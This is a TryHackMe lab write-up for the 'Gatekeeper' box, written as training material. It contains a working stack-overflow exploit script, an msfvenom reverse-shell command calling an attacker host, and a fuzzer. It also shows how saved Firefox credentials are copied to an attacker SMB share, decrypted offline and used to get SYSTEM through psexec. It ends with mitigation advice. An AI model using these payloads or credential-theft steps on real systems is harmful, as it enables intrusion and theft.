July 31, 2026
Gatekeeper — Wine/gdb Buffer Overflow + Firefox Creds to SYSTEM | TryHackMe
Gatekeeper is a Windows binary-exploitation box built around a custom TCP service that is vulnerable to a classic stack buffer overflow. An…

By Roshan Rajbanshi
9 min read
Gatekeeper is a Windows binary-exploitation box built around a custom TCP service that is vulnerable to a classic stack buffer overflow. An anonymously accessible SMB share exposed the vulnerable binary directly, allowing exploitation to be developed locally under Wine and gdb before ever touching the target. A JMP ESP gadget found inside the binary itself, combined with a two-byte bad character list, produced a reliable reverse shell as a low-privilege user. Privilege escalation came from decrypting saved Firefox credentials exfiltrated over a rogue SMB share, then using those credentials with Impacket's psexec to land a SYSTEM shell.
Attack Path: anonymous SMB share access (binary retrieval) → Wine + gdb local BOF lab (crash analysis) → stack buffer overflow via JMP ESP (user shell) → Firefox saved credential exfiltration + offline decryption (mayor credentials) → Impacket psexec (SYSTEM shell)
Platform: TryHackMe Machine: Gatekeeper Difficulty: Medium OS: Windows Date: 2026–07–22
Table of Contents
1. Reconnaissance
1.1 Nmap Full Port Sweep
1.2 SMB Share Enumeration
2. Initial Access: Stack Buffer Overflow via JMP ESP
2.1 Local Exploit Lab with Wine and gdb
2.2 Crash Confirmation via Fuzzing
2.3 EIP Offset Determination
2.4 JMP ESP Gadget Discovery
2.5 Bad Character Identification
2.6 Payload Construction and Delivery
3. Privilege Escalation: Firefox Credential Theft
3.1 Locating the Active Firefox Profile
3.2 Exfiltration via Rogue SMB Server
3.3 Offline Decryption with firefox_decrypt
3.4 SYSTEM Shell via Impacket psexec
4. Proof of Compromise
5. Vulnerability Summary
6. Defense and MitigationTable of Contents
1. Reconnaissance
1.1 Nmap Full Port Sweep
1.2 SMB Share Enumeration
2. Initial Access: Stack Buffer Overflow via JMP ESP
2.1 Local Exploit Lab with Wine and gdb
2.2 Crash Confirmation via Fuzzing
2.3 EIP Offset Determination
2.4 JMP ESP Gadget Discovery
2.5 Bad Character Identification
2.6 Payload Construction and Delivery
3. Privilege Escalation: Firefox Credential Theft
3.1 Locating the Active Firefox Profile
3.2 Exfiltration via Rogue SMB Server
3.3 Offline Decryption with firefox_decrypt
3.4 SYSTEM Shell via Impacket psexec
4. Proof of Compromise
5. Vulnerability Summary
6. Defense and Mitigation1. Reconnaissance
1.1 Nmap Full Port Sweep
An initial default-range scan risks missing services on non-standard ports, which is particularly relevant on buffer overflow-focused machines where the vulnerable service is often intentionally placed outside the common port range. A full sweep across all 65,535 ports was therefore run before any targeted service enumeration.
nmap -Pn -p- <TARGET_IP>
nmap -Pn -sC -sV -p<port> <TARGET_IP>nmap -Pn -p- <TARGET_IP>
nmap -Pn -sC -sV -p<port> <TARGET_IP>The sweep identified standard Windows services on ports 135, 139, and 445 (RPC and SMB), RDP on 3389 confirmed as Windows 7 SP1 via the rdp-ntlm-info script, and an unrecognized custom service on port 31337 that echoed back any input prefixed with "Hello" and suffixed with "!!!".
💡 A service nmap cannot fingerprint on an unusual port is a strong signal of a custom, purpose-built binary — exactly the kind of target worth investigating for memory corruption bugs rather than web or credential-based attacks.
1.2 SMB Share Enumeration
Rather than attacking the unknown service on port 31337 blind, the SMB shares were enumerated for anonymous access, since a null session was already suggested by the open state of port 445.
smbclient -L <TARGET_IP> -N
smbclient //<TARGET_IP>/Users -Nsmbclient -L <TARGET_IP> -N
smbclient //<TARGET_IP>/Users -NThe Users share permitted anonymous listing and contained a Share directory holding gatekeeper.exe, a 13,312-byte Windows executable. The file was retrieved directly.
smb: \> dir
smb: \> cd Share
smb: \Share\> dir
smb: \Share\> get gatekeeper.exesmb: \> dir
smb: \> cd Share
smb: \Share\> dir
smb: \Share\> get gatekeeper.exe
💡 Checking anonymously readable shares before attempting network-based fuzzing is efficient practice on binary exploitation boxes: possession of the actual vulnerable binary allows exploit development entirely offline, which is faster and safer than blind remote fuzzing.
2. Initial Access: Stack Buffer Overflow via JMP ESP
2.1 Local Exploit Lab with Wine and gdb
With the binary in hand, a local Windows execution environment was built using Wine rather than a full Windows virtual machine. Wine allows a Windows PE to run natively enough on Linux to be attached to with gdb for crash analysis, provided the binary does not depend on Windows-specific kernel behavior.
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install wine32 wine -y
wine gatekeeper.exesudo dpkg --add-architecture i386
sudo apt update
sudo apt install wine32 wine -y
wine gatekeeper.exeConfirmation that the service was listening locally on the same port as the target validated the setup.
sudo netstat -tlnp | grep winesudo netstat -tlnp | grep wineThe process was then attached with gdb. Wine emits an internal SIGUSR1 signal that would otherwise repeatedly interrupt debugging, so this signal was configured to pass through silently.
ps aux | grep gatekeeper.exe
sudo gdb -p <PID>
handle SIGUSR1 noprint nostop
continueps aux | grep gatekeeper.exe
sudo gdb -p <PID>
handle SIGUSR1 noprint nostop
continue💡 Because ASLR was disabled on this particular binary, memory addresses discovered in the local Wine lab transferred directly to the real Windows target. This meant the exploit could be fully developed and validated without touching the production machine, reducing risk of triggering defensive alerting or crashing the live service unnecessarily.
2.2 Crash Confirmation via Fuzzing
A Python fuzzing script sent increasing buffer sizes to the local service and verified process liveness after each attempt, rather than relying solely on connection-refused errors, which can be misleading if the service respawns quickly.
import socket, time
ip = "127.0.0.1"
port = 31337
def is_alive():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
s.close()
return True
except:
return False
for size in range(100, 300, 20):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
s.send(b"A" * size + b"\r\n")
s.close()
time.sleep(2)
if not is_alive():
print(f"CRASH at {size} bytes")
breakimport socket, time
ip = "127.0.0.1"
port = 31337
def is_alive():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
s.close()
return True
except:
return False
for size in range(100, 300, 20):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
s.send(b"A" * size + b"\r\n")
s.close()
time.sleep(2)
if not is_alive():
print(f"CRASH at {size} bytes")
breakThe crash window was narrowed to approximately 120 to 140 bytes, confirming an exploitable stack-based overflow condition existed within a reachable input size.
2.3 EIP Offset Determination
A cyclic pattern was generated and sent to precisely determine the offset at which the saved return address is overwritten.
msf-pattern_create -l 200msf-pattern_create -l 200The crash was captured in gdb, and the value found in EIP was located within the pattern to yield an exact offset.
0x39654138 in ?? ()
msf-pattern_offset -l 200 -q 396541380x39654138 in ?? ()
msf-pattern_offset -l 200 -q 39654138The exact match was found at offset 146. Control over EIP was then confirmed directly with a structured payload.
payload = b"A" * 146 + b"B" * 4 + b"C" * 50payload = b"A" * 146 + b"B" * 4 + b"C" * 50The resulting crash showed EIP set to 0x42424242, confirming full and precise control. A stack inspection at the point of the crash further confirmed that ESP pointed directly into the controlled buffer, a prerequisite for a JMP ESP-style exploitation technique.
x/20xb $espx/20xb $esp💡 Confirming that ESP lands inside the attacker-controlled buffer, not just that EIP is overwritten, is essential before committing to a JMP ESP strategy — without it, redirecting execution to ESP would jump to unpredictable memory.
2.4 JMP ESP Gadget Discovery
A gadget containing the opcode sequence for JMP ESP was searched for within the binary's own address space. A common pitfall in gdb is that the find command defaults to four-byte word-aligned searching rather than a raw byte search, which silently fails to locate byte-level opcode sequences.
find /b 0x08040000, 0x08048000, 0xff, 0xe4find /b 0x08040000, 0x08048000, 0xff, 0xe4Two candidate gadgets were located, both residing inside gatekeeper.exe itself rather than in a system DLL.
0x080414c3 : jmp esp
0x080416bf : jmp esp0x080414c3 : jmp esp
0x080416bf : jmp espThe first gadget was verified directly by reading its raw bytes.
x/2xb 0x080414c3x/2xb 0x080414c3
⚠️ The gdb find command without the /b modifier returns a false negative ("Pattern not found") even when the byte sequence exists in memory, which can waste significant time if not caught early.
💡 Selecting a gadget located inside the target binary itself, rather than a system DLL, sidesteps concerns about DLL version or base address differences between the local Wine lab and the real Windows target — the binary's own code is identical on both.
2.5 Bad Character Identification
The full byte range from 0x01 to 0xff, excluding the null byte which is assumed unusable in most string-handling contexts, was sent following the offset to identify any characters the target service strips or mangles in transit.
badchars = bytes([x for x in range(1, 256)])
payload = b"A" * 146 + b"B" * 4 + badcharsbadchars = bytes([x for x in range(1, 256)])
payload = b"A" * 146 + b"B" * 4 + badcharsThe stack was dumped at the point of the crash and compared byte-for-byte against the bytes originally sent.
x/300xb $espx/300xb $esp
The comparison revealed that the byte 0x0a was silently removed from the buffer, with the observed sequence jumping from 0x09 to 0x00 to 0x0b. All other bytes were transmitted intact and in the correct order. The confirmed bad characters were 0x00 and 0x0a.
2.6 Payload Construction and Delivery
With the offset, return address, and bad character list established, msfvenom generated an encoded reverse shell payload excluding the identified bad characters.
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b "\x00\x0a" -f py -e x86/shikata_ga_naimsfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b "\x00\x0a" -f py -e x86/shikata_ga_naiThe final exploit combined the offset padding, the little-endian JMP ESP return address, a short NOP sled to absorb any minor execution slide, and the generated shellcode.
import socket
ip = "<TARGET_IP>"
port = 31337
offset = 146
retn = b"\xc3\x14\x04\x08"
padding = b"\x90" * 16
shellcode = b"..."
payload = b"A" * offset + retn + padding + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(payload + b"\r\n")
s.close()import socket
ip = "<TARGET_IP>"
port = 31337
offset = 146
retn = b"\xc3\x14\x04\x08"
padding = b"\x90" * 16
shellcode = b"..."
payload = b"A" * offset + retn + padding + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(payload + b"\r\n")
s.close()A listener was staged before delivery.
nc -lvnp 4444nc -lvnp 4444Execution of the exploit against the real target returned a reverse shell as gatekeeper\natbat, and the user flag was retrieved from the Desktop.
3. Privilege Escalation: Firefox Credential Theft
3.1 Locating the Active Firefox Profile
A Firefox shortcut on the desktop suggested the browser had been used and might hold saved credentials. The user's profile directory contained multiple profile folders, only one of which held active data. The correct profile was identified by the presence of both key4.db and logins.json, and cert9.db was also noted as present within the same folder.
dir "C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles"dir "C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles"3.2 Exfiltration via Rogue SMB Server
A temporary SMB server was stood up on the attacking host using Impacket to receive the profile files directly from the target over the network, avoiding the need for an intermediate transfer mechanism.
mkdir -p /tmp/loot
sudo impacket-smbserver share /tmp/loot -smb2supportmkdir -p /tmp/loot
sudo impacket-smbserver share /tmp/loot -smb2supportThe three relevant files were copied from the Windows shell to the attacker-controlled share.
copy "<profile_path>\key4.db" \\<ATTACKER_IP>\share\
copy "<profile_path>\logins.json" \\<ATTACKER_IP>\share\
copy "<profile_path>\cert9.db" \\<ATTACKER_IP>\share\copy "<profile_path>\key4.db" \\<ATTACKER_IP>\share\
copy "<profile_path>\logins.json" \\<ATTACKER_IP>\share\
copy "<profile_path>\cert9.db" \\<ATTACKER_IP>\share\
3.3 Offline Decryption with firefox_decrypt
The firefox_decrypt tool was used to decrypt the exfiltrated profile data offline.
git clone https://github.com/unode/firefox_decrypt.git
cd firefox_decrypt
python3 firefox_decrypt.py /tmp/lootgit clone https://github.com/unode/firefox_decrypt.git
cd firefox_decrypt
python3 firefox_decrypt.py /tmp/lootTwo environmental issues were encountered during this step. The tool initially failed to initialize NSS until the libnss3 package was installed, and cert9.db needed to remain alongside key4.db even though only the stored logins, not certificates, were of interest. The tool also expected a profiles.ini-style directory structure; when absent, it issued a warning but proceeded by treating the supplied folder itself as the profile.
Decryption recovered a plaintext credential pair for a second local account.
Website: https://creds.com
Username: mayor
Password: <REDACTED_PASSWORD>Website: https://creds.com
Username: mayor
Password: <REDACTED_PASSWORD>💡 Browser credential stores are a frequently overlooked post-exploitation target on Windows hosts; recovering them offline avoids the need to interact further with the live target during the decryption process itself.
3.4 SYSTEM Shell via Impacket psexec
An initial attempt to use the recovered credentials over RDP and psexec against the previously recorded target address failed. Investigation revealed the target's IP address had changed, most likely due to a DHCP lease renewal during the course of the engagement, rather than any issue with the credentials or exploit chain itself.
impacket-psexec mayor:'<REDACTED_PASSWORD>'@<TARGET_IP>impacket-psexec mayor:'<REDACTED_PASSWORD>'@<TARGET_IP>Impacket's psexec implementation installs and executes a temporary Windows service using the supplied credentials. Because Windows services run as SYSTEM by default, this single step provided both authentication and privilege escalation simultaneously, without requiring a separate local exploit. The root flag was retrieved from the mayor account's Desktop.
💡 When a previously working exploit or credential set suddenly stops connecting, verifying that the target's network address has not changed is a useful early troubleshooting step before assuming the technique itself has failed.
4. Proof of Compromise
idid
5. Vulnerability Summary
# Vulnerability Severity Impact
1 Anonymous/null-session SMB share access Medium Allowed unauthenticated retrieval of the vulnerable service binary, enabling full offline exploit development
2 Stack-based buffer overflow in custom TCP service Critical Enabled arbitrary code execution and remote shell access as a low-privilege user
(port 31337)
3 Plaintext-recoverable Firefox saved credentials High Allowed offline decryption of a second local account's password from exfiltrated browser profile data
4 Reused local account permitted SYSTEM-level access Critical Valid credentials for a standard local account allowed immediate SYSTEM shell with no additional
via psexec privilege escalation exploit required# Vulnerability Severity Impact
1 Anonymous/null-session SMB share access Medium Allowed unauthenticated retrieval of the vulnerable service binary, enabling full offline exploit development
2 Stack-based buffer overflow in custom TCP service Critical Enabled arbitrary code execution and remote shell access as a low-privilege user
(port 31337)
3 Plaintext-recoverable Firefox saved credentials High Allowed offline decryption of a second local account's password from exfiltrated browser profile data
4 Reused local account permitted SYSTEM-level access Critical Valid credentials for a standard local account allowed immediate SYSTEM shell with no additional
via psexec privilege escalation exploit required6. Defense and Mitigation
Anonymous SMB Share Access
Root Cause: Null-session access was permitted on a share containing sensitive application binaries, a common result of leaving guest access enabled at the server configuration level.
Mitigations:
- Disable null sessions and guest access: Configure
RestrictNullSessAccessand disable the Guest account on production hosts. - Audit exposed shares regularly: Periodically enumerate shares with
smbclient -Lfrom an unauthenticated perspective.
Stack-Based Buffer Overflow in Custom Service
Root Cause: gatekeeper.exe copied network input into a fixed-size stack buffer without bounds checking and was compiled without ASLR, enabling a reliable JMP ESP redirection.
Mitigations:
- Use bounds-checked input handling: Validate input length before copying into fixed buffers.
- Enable compiler and OS exploit mitigations: Compile with stack canaries, and enable ASLR/DEP for network-facing services.
Plaintext-Recoverable Browser Credentials
Root Cause: No Firefox master password was set, so anyone with filesystem access to the profile directory could decrypt saved logins offline.
Mitigations:
- Require a Firefox master password: Adds a secret required for decryption even if profile files are exfiltrated.
- Avoid storing credentials in browser password managers on shared or production systems.
Local Account Privilege Reuse via psexec
Root Cause: psexec installs a temporary Windows service that runs as SYSTEM by default, so any account able to remotely install a service inherits SYSTEM regardless of its own privilege level.
Mitigations:
- Restrict service installation rights to dedicated administrative accounts only.
- Monitor for psexec-style activity: Alert on Event ID 7045 (new service installation) with short-lived or randomized service names.